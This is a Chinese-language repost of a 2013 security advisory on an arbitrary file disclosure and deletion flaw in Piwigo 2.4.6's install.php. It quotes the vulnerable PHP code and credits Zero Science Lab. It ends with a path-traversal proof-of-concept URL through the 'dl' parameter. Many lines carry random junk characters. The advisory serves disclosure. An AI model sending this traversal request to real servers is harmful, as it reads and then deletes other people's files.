Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。

, x( C6 V* I1 p' {, l9 S! QPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
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6 R8 A" a8 f5 J% f, t, I1 ?/ x/install.php:
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113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
2 `" \- j9 ^8 ~3 f" L2 f. X114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
$ a/ O3 p' G& ^' |# q; N3 v7 v( R116:   header('Cache-Control: no-cache, must-revalidate');
% K5 R# a1 ~' b9 Z117:   header('Pragma: no-cache');
* f# B  ^9 d7 r! |- q- E$ [% Z3 }118:   header('Content-Disposition: attachment; filename="database.inc.php"');
& o, G; ~4 y( H* t5 {3 r) E119:   header('Content-Transfer-Encoding: binary');
120:   header('Content-Length: '.filesize($filename));
121:   echo file_get_contents($filename);
122:   unlink($filename);
123:   exit();
1 I; a2 ~: Y) Z8 x124: }
====================================================================
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Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a

4 q% X; G; Q( r6 @, R/ zVulnerability discovered by Gjoko 'LiquidWorm' Krstic
; U. m* n" E0 C7 _) A: x$ C                            @zeroscience
  o) F1 C( _& O
9 a# a$ K: e; H% @Advisory ID: ZSL-2013-5127
( c6 Y8 G! R/ lAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
& A9 ~5 i. r" `1 pVendor Patch: http://piwigo.org/bugs/view.php?id=2843

15.02.2013
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http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
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